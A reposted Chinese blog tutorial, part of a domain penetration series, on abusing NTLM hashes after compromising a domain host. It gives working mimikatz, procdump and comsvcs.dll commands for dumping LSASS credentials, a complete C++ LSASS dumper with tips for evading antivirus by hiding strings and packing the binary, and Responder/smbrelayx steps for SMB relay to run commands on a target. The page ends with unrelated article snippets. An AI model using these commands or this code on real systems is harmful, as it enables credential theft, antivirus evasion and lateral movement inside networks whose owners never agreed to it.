域渗透06-协议(NTLM hash利用)

news2024/12/23 19:29:42

前言:

当我们获取到一台域内主机打算干什么,毫无疑问当然是拿域控,如果域控未发现漏洞应该怎么办,首先我们需要查看我们拿到主机的权限和在域中的组,如果本机权限够我们就需要利用工具抓取本机的hash,然后对内网其他主机进行哈希碰撞,如果成功,则利用哈希传递(Pass The Hash)获取shell,再进行进一步挖掘,或者我们可以采用NTLM Relay,然后配合其他漏洞触发NTLM验证,然后获取shell,但是这个方法实战中不是很使用,要求太苛刻,更多的是用哈希传递,这里对两个用法进行讲解:

哈希传递:

获取NTLMhash的方法有很多,因为lsass.exe中存贮NLTM哈希,所以基本思路就是使用工具直接获取lsass.exe中的NTLMhash,或者使用其他工具先dump下lsass.exe,然后同通过工具从dump文件中提取NLTM哈希,为什么要多此一举dump,主要还是因为要过杀软,毕竟dump进程的行为要比直接从lsass.exe获取hash安全得多:

使用mimikatz:

使用mimikatz获取hash,首先我们需要判断自己当前获取的权限是否为管理员权限,可以使用命令: net session

下图就可以看到当不为管理员权限的时候执行会返回权限不足: 

如果为最高权限,直接执行如下命令即可:

mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit"

 执行后可以在返回结果中找到NTLM,对应的值为NTLMhash,如果运气好,系统版本较低或者注册表开启了UseLogonCredential,则直接可以抓取到明文密码:

procdump+Mimikatz:

该组合方法为procdump获取lsass.exe进程转储,Mimikatz对转储文件本地分析获取hash,下面首先使用procdump获取转储:

首先我们去微软官网下载procdump:

https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump

使用如下命令获取lsass.dmp,但是同样需要管理员权限:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

或者通过进程号进行dump:

tasklist | find "lsass"
procdump64.exe -accepteula -ma 804 804.dmp

 

然后使用mimikatz对lsass.dmp文件进行读取:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"

comsvcs.dll+Mimikatz: 

如果想要通过系统自带的comsvcs.dll来dumplsass.exe,在dump指定进程内存文件时,需要开启SeDebugPrivilege权限。管理员权限的cmd下,状态为Disabled禁用状态:

whoami /priv | find  "SeDebugPrivilege"

但是在powershell中是允许:

chcp 65001 |whoami /priv | findstr  "SeDebugPrivilege"

所以只能通过powershell来执行:

rundll32.exe comsvcs.dll MiniDump 804 C:\\lsass.dmp full

然后使用mimikatz对lsass.dmp文件进行读取,另外如果杀软报警,则可以复制comsvcs.dll到一个新的目录并修改文件名称来进行命令行关键字绕过

自行DIY:

个人感觉这个方法是最好的,因为很好控制,编写一个遍历进程然后对lsass进行dump的代码,这样因为功能简单,很容易就能免杀,下面是一个网上的代码:

// Systempiv.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include<windows.h>
#include<tlhelp32.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment ( lib, "dbghelp.lib" )

using namespace std;


#define INFO_BUFFER_SIZE 32767
const unsigned long SE_DEBUG_PRIVILEGE = 0x14;
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef int(WINAPI *type_RtlAdjustPrivilege)(int, bool, bool, int*);


bool DebugPrivilege() {
	HANDLE hToken = NULL;
	int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
	if (hRet)
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		//取得描述权限的LUID
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
		//调整访问令牌的权限
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

		CloseHandle(hToken);
	}
	return 0;
}

bool ElevatePrivileges() {
	HMODULE hDll = ::LoadLibrary(L"ntdll.dll");
	type_RtlAdjustPrivilege RtlAdjustPrivilege = (type_RtlAdjustPrivilege)GetProcAddress(hDll, "RtlAdjustPrivilege");
	int nEn = 0;
	int nResult = RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, true, true, &nEn);
	if (nResult == 0x0c000007c)
	{
		nResult = RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, true, false, &nEn);
	}
	printf("RtlAdjustPrivilege back:%d\n", nResult);
	FreeLibrary(hDll);
	return 0;
}

DWORD GetPID() {
	DWORD PID = 0;
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 processEntry = {};
	processEntry.dwSize = sizeof(PROCESSENTRY32);
	LPCWSTR processName = L"";

	if (Process32First(snapshot, &processEntry))
	{
		while (_wcsicmp(processName, L"lsass.exe") != 0)
		{
			Process32Next(snapshot, &processEntry);
			processName = processEntry.szExeFile;
			PID = processEntry.th32ProcessID;
		}
	}
	printf("pid is:%d\n", PID);
	return PID;
}

bool dumpexe(DWORD PID) {
	WCHAR commandLine[MAX_PATH];
	WCHAR DumpFile[] = L"D:\\code\\dump\\Systempiv\\Debug\\dump.dmp";
	_MiniDumpW MiniDumpW;
	HMODULE hDll = ::LoadLibrary(L"comsvcs.dll");
	MiniDumpW = (_MiniDumpW)GetProcAddress( hDll, "MiniDumpW");
	if (MiniDumpW == NULL) {
		printf("MiniDumpW is null\n");
		return 0;
	}
	DebugPrivilege();
	//ElevatePrivileges();
	swprintf(commandLine, 512, L"%d %s full", PID, DumpFile);
	printf("commandLine is:  %ls\n", commandLine);
	// 调用 MiniDumpW 函数创建内存转储文件
	MiniDumpW(0, 0, commandLine);
	Sleep(1000);
	printf("ok\n");
	return 0;
}

int main() {
	DWORD PID = 0;
	PID = GetPID();
	dumpexe(PID);
}


代码首选需要拥有权限来内存进行操作,主要为DebugPrivilege()或者ElevatePrivileges()两个函数均可,DebugPrivilege函数主要使用AdjustTokenPrivileges函数对进程权限进行提升,AdjustTokenPrivileges函数是 Windows API 提供的标准函数,所以其被检测的可能性很高,所以可以选择第二种方法,ElevatePrivileges函数使用RtlAdjustPrivilege函数是 Windows NT 内部 API,用于调整当前线程的访问令牌特权级别,因为是通过dll动态加载可以更加的隐蔽。

dump内存这里选用的是动态加载comsvcs.dll,并获取MiniDumpW方法来实现dump,下面看下MiniDumpW的实现方法:

可以看到其最终其实还是调用MiniDumpWriteDump方法来实现dump指定进程,这里需要注意,如果权限不足或者创建文件失败则会直接调用ExitProcess退出进程,不会回到主程序中,测试的时候如果发现不执行后续代码,直接退出则为此原因:

另外需要注意系统的版本,如果系统是32位则编译为32位版本来dump,如果是64位则要生成64位代码进行测试,测试执行:

然后使用mimikatz读取,可以成功读取:

mimikatz.exe "sekurlsa::minidump dump.dmp" "sekurlsa::logonPasswords full" "exit"

在使用上述代码的过程中要注意,代码中不要出现lsass字符串,最好修改代码为PID通过命令行输出,然后对编译好的代码进行加壳后即可绕过市面绝大部分的杀毒软件查杀。 

SMB Relay攻击:

通过NTLM Relay抓取NET_NTLMhash的方式之前已经介绍过了,这里就不介绍了,这里介绍如何通过SMB Relay来获得远程shell:

首先我们要使用RunFinger扫描要攻击主机的是否开启SMB1

python2 RunFinger.py -i 192.168.5.1/24

如果没有开启,可以在如下地址进行设置 

扫描如下,如果为True则可以攻击,否则不行:

当存在为True的便可以进行攻击,攻击流程首先使用Responder,首先进行设置:

设置完成后使用如下命令启动:

python3 Responder.py -I eth0

下面就可以对指定主机进行攻击,比如我们希望获取主机192.168.5.89的shell,那么可以使用如下命令:

smbrelayx.py -h 192.168.5.89 -c 'whoami'

执行成功后,会将Responder拦截的所有NET_NTLMhash,并通过中间人的方式进行认证,如果权限允许,则可以在目标主机执行命令,注意能否执行成功一定要抓取到的NET_NTLMhash拥有权限能对被攻击主机进行访问操作权限,否则将会返回访问被拒绝,如下图:

能够攻击成功主要取决于Responder能否抓取到权限较高的NET_NTLMhash,所以取决于当前的网络环境和高权限下主机有没有进行smb认证操作,如何触发认证,Responder中我们开启了http和smb,则当高权限主机做了如下操作都会触发:

这里需要注意,不要添加.com,如果添加则会走dns解析则无法抓取NET_NTLMhash,不加走的是对文件访问,则会触发smb认证.

上述三种都可触发smb认证,进而抓取NET_NTLMhash,然后通过该NET_NTLMhash去尝试连接被攻击主机,如果权限允许便可执行命令。所以我们可以采用钓鱼或者寻找web是否存在ssrf漏洞来触发smb认证,当然这个存在很大的运气成分,毕竟如果我们能在权限较高主机执行命令,那为何还要本末倒置去抓取NET_NTLMhash,直接使用NTLMhash进行内网漫游不是更方便,这个方法一般都是没有什么好的办法了,才会采用这种方法。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1181968.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

HCIE-CCE

1、创建集群 svc网络&#xff0c;10.247 pod网络&#xff0c;10.244 节点网络&#xff0c;192.168.66&#xff08;master和node一致&#xff09; 2、创建节点 上面集群选择了最新版本1.27&#xff0c;CCE从1.27版本开始不再支持docker容器引擎&#xff0c;仅支持containered&…

渗透实战靶机3wp

0x00 简介 目标IP&#xff1a;xxxx.95 测试IP&#xff1a;xxxx.96 测试环境&#xff1a;win10、kali等 测试时间&#xff1a;2021.7.23-2021.7.26 测试人员&#xff1a;ruanruan 0x01 信息收集 1、端口扫描 21&#xff0c;ftp&#xff0c;ProFTPD&#xff0c;1.3.3c22&a…

Oracle 安装及 Spring 使用 Oracle

参考内容&#xff1a; docker安装oracle数据库史上最全步骤&#xff08;带图文&#xff09; Mac下oracle数据库客户端 Docker安装Oracle docker能安装oracle吗 Batch script for add a auto-increased primary key for exist table with records Docker 安装 Oracle11g 注意&a…

基于单片机的甲醛检测器设计

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 技术交流认准下方 CSDN 官方提供的联系方式 文章目录 概要 一、设计的主要内容二、系统硬件设计三、软件设计4.1 程序结构流程图原理图 四、结论五、 文章目录 概要 本文将要提…

餐饮软件开发价格受到需求的影响!

随着科技的进步和互联网的普及&#xff0c;餐饮行业也逐渐实现了数字化转型&#xff0c;越来越多的餐厅开始引入餐饮软件来提升服务质量、提高效率、拓展销售渠道等。 而对于许多初创餐厅或餐饮企业来说&#xff0c;开发一款适合自己的餐饮软件的价格一直是他们关注的焦点&…

NtripShare Caster高精度定位CORS服务软件

NtripShare CORS是NtripShare GNSS系列软件中最早的软件系统&#xff0c;也是NtripShare名称的起源。 所谓GNSS CORS服务系统一般构成&#xff1a; 1&#xff09;基准站网&#xff1a;由若干个分布合理的GNSS 基准站组成&#xff1b; 2&#xff09;数据传输系统&#xff1a;…

基于springboot垃圾分类管理系统

基于springboot垃圾分类管理系统 摘要 垃圾分类管理系统是一个基于现代技术和数据管理方法的解决方案&#xff0c;旨在协助城市和社区更有效地管理垃圾分类。在这个系统中&#xff0c;Spring Boot框架充当了后端应用程序的构建工具&#xff0c;为其提供了高度灵活的特性。该系统…

运算符与运算表达式

运算符的结合性和优先级&#xff1a; 结合性&#xff1a; 所有的单目运算符、条件运算符、赋值运算符及扩展运算符&#xff0c;结合方向都是从右向左&#xff0c;其余运算符的结合方向是从左向右。 优先级&#xff1a; 初等运算符>单目运算符>算数运算符&#xff08;…

卡牌游戏类型定制开发微信卡牌小程序游戏

卡牌类型的游戏开发具有一些独特的特点和挑战&#xff0c;以下是一些主要的特点&#xff1a; 卡牌设计和平衡&#xff1a;卡牌游戏的核心是卡牌设计和平衡。开发团队需要设计各种卡牌&#xff0c;确保它们在游戏中相互平衡&#xff0c;以便提供有趣的游戏体验。卡牌的特性、效…

UE5 新特性 Nanite 开启

啥也不说&#xff0c;只能说&#xff0c;真的牛&#xff0c;在自己的项目上&#xff0c;从10几20的帧数&#xff0c;直接彪到了70 适用场景&#xff1a; 大场景&#xff0c;三角面足够多 在Project Setting里面 将这几个勾未true 勾上这个&#xff0c;放入场景即可

小程序如何设置自取模式下的服务方式

设置自取模式下的服务方式是非常重要的&#xff0c;尤其是对于到店自取和到店堂食这两种不同的服务模式。下面我们就来介绍一下如何在小程序中设置这两种服务方式。 在小程序管理员后台->配送设置处&#xff0c;在服务方式处&#xff0c;设置自取情况下的服务方式。默认是&…

变量环境、变量提升和暂时性死区

JavaScript中的提升 在JavaScript中&#xff0c;“Hoisting”&#xff08;提升&#xff09;是一种特性&#xff0c;它将变量和函数的声明移动到作用域的顶部。这意味着可以在声明之前使用这些变量和函数&#xff0c;而不会报错。 当JavaScript代码执行时&#xff0c;会经过两个…

计算机网络基础知识1

1、tcp三次握手&#xff1f; SYN&#xff0c;标志位&#xff0c;用于建立TCP连接的握手过程中的标志位。 ACK&#xff0c;确认位&#xff0c;用于说明整个包是确认报文。 TCP/IP协议是传输层的一个面向连接提供可靠安全的传输协议。第一次握手有客户端发起&#xff0c;客户端向…

超详细的厦门旅游攻略!暑期旅游特种兵必备

随着暑期的旅游越来越火爆&#xff0c;许多旅行社纷纷向大家推荐了许多热门景点&#xff0c;其中厦门旅游是许多人暑假首选的地点&#xff0c;你知道这些宣传图片或旅游攻略是如何制作出来的吗&#xff1f; 今天为大家推荐一款能够快速制作出厦门旅游攻略的软件——boardmix博思…

MySQL(流量包)

MySQL和SQL的区别是什么&#xff1f;之间是什么关系&#xff1f; SQL&#xff08;Structured Query Language&#xff09;是用于管理和操作关系型数据库&#xff08;RDBMS&#xff09;的标准语言。SQL还可以用于这些RDBMS&#xff1a;MySQL、Oracle、Microsoft SQL Server、Pos…

Manopt使用

本文记录一些黎曼流型的优化工具箱的使用 入手 安装 https://www.manopt.org/tutorial.html#gettingstarted

Node.js |(六)express框架 | 尚硅谷2023版Node.js零基础视频教程

学习视频&#xff1a;尚硅谷2023版Node.js零基础视频教程&#xff0c;nodejs新手到高手 文章目录 &#x1f4da;express使用&#x1f407;初体验&#x1f407;express路由⭐️路由的使用⭐️获取请求参数⭐️获取路由参数 &#x1f407;express响应设置&#x1f407;express中间…

面试题:你在工作中发现最有意义的bug?

软件测试面试中被问的问题有时候会是形形色色的&#xff0c;不会局限在你会哪些测试设计技术&#xff1f;测试流程是怎么样的&#xff1f; 就比如你会遇到这种问题&#xff1a;工作中最有意义的bug&#xff1f; 是不是有点懵&#xff1f;面试官问这个题目可不是真的关心你提过…

Android 常用 UI 组件

目录 ​编辑 1. View 和ViewGroup 2. Android UI 开发概述 2.1 界面布局开发 2.2 控件开发 2.3 AdapterView 与 Adapter 开发 2.4 UI 组件开发 2.5 自定义 View、图形图像和动画 1. View 和ViewGroup Android中所有的UI元素都是使用View和ViewGroup对象建立的,…

【工具】OCR方法|不用下载额外的软件,提取扫描中英文PDF的目录文本的最优解!(一)

需求&#xff1a; 1&#xff09;从PDF里快速提取目录&#xff1b; 2&#xff09;不想下载任何软件。 我提取出来的目录文本会用于嵌入到PDF中&#xff0c;向PDF批量添加目录的软件以及软件的使用方法可以看我上一篇文章&#xff1a;PDF批量插入目录。 以下是我自己能想到的方…